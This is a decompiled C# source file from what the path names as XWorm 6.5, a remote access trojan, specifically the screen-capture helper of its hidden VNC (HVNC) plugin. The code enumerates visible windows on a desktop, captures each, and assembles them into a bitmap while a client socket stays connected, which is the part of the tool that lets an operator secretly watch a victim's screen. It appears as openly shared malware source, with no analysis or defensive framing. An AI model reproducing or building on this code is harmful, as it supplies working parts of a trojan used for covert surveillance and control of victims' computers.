Files
XWorm-6.5-Source/Plugins/HVNCMemory/HVNC/VNC/HelperScreen.cs
T
2026-08-27 11:22:34 -06:00

127 lines
3.3 KiB
C#

using System;
using System.Collections.Generic;
using System.Drawing;
using System.Runtime.InteropServices;
using S;
using static HVNC.Plugin;
namespace VNC
{
// Token: 0x02000004 RID: 4
internal class HelperScreen
{
// Token: 0x0600002D RID: 45
[DllImport("user32")]
public static extern bool GetWindowRect(IntPtr hWnd, ref HelperScreen.RECT lpRect);
// Token: 0x0600002E RID: 46
[DllImport("user32.dll")]
public static extern bool IsWindowVisible(IntPtr hWnd);
// Token: 0x0600002F RID: 47
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool EnumDesktopWindows(IntPtr hDesktop, HelperScreen.EnumDelegate lpEnumCallbackFunction, IntPtr lParam);
// Token: 0x06000030 RID: 48
[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags);
// Token: 0x06000031 RID: 49
[DllImport("user32.dll")]
public static extern IntPtr GetWindowDC(IntPtr hWnd);
// Token: 0x06000032 RID: 50
[DllImport("user32.dll")]
public static extern IntPtr ReleaseDC(IntPtr hWnd, IntPtr hDC);
// Token: 0x06000033 RID: 51
[DllImport("gdi32.dll")]
public static extern bool DeleteDC(IntPtr hDC);
// Token: 0x06000034 RID: 52
[DllImport("user32.dll")]
public static extern IntPtr GetTopWindow(IntPtr hWnd);
// Token: 0x06000035 RID: 53 RVA: 0x00002D70 File Offset: 0x00000F70
public static bool List_screen(IntPtr hWnd, int lParam)
{
bool result;
try
{
bool flag = HelperScreen.IsWindowVisible(hWnd);
if (flag)
{
bool flag2 = hWnd == IntPtr.Zero;
if (flag2)
{
return false;
}
HelperScreen.Num_List.Add(hWnd);
}
result = true;
}
catch
{
result = false;
}
return result;
}
// Token: 0x06000036 RID: 54 RVA: 0x00002DCC File Offset: 0x00000FCC
public static Bitmap GetScreen(int x, int y)
{
HelperScreen.Num_List = new List<IntPtr>();
Bitmap bitmap = new Bitmap(x, y);
bool flag = HelperScreen.EnumDesktopWindows(IntPtr.Zero, new HelperScreen.EnumDelegate(HelperScreen.List_screen), IntPtr.Zero);
if (flag)
{
for (int i = HelperScreen.Num_List.Count - 1; i > -1; i += -1)
{
bool flag2 = !Helper.IsRunning && !ClientSocket.isConnected;
if (flag2)
{
break;
}
HelperScreen.RECT rect = default(HelperScreen.RECT);
IntPtr intPtr = HelperScreen.Num_List[i];
ScreenCapture screenCapture = new ScreenCapture();
Bitmap image = screenCapture.CaptureWindow(HelperScreen.Num_List[i]);
HelperScreen.GetWindowRect(HelperScreen.Num_List[i], ref rect);
using (Graphics graphics = Graphics.FromImage(bitmap))
{
graphics.DrawImage(image, rect.Left, rect.Top);
}
}
}
return bitmap;
}
// Token: 0x04000018 RID: 24
public static List<IntPtr> Num_List;
// Token: 0x02000022 RID: 34
// (Invoke) Token: 0x0600012B RID: 299
public delegate bool EnumDelegate(IntPtr hWnd, int lParam);
// Token: 0x02000023 RID: 35
public struct RECT
{
// Token: 0x04000094 RID: 148
public int Left;
// Token: 0x04000095 RID: 149
public int Top;
// Token: 0x04000096 RID: 150
public int Right;
// Token: 0x04000097 RID: 151
public int Bottom;
}
}
}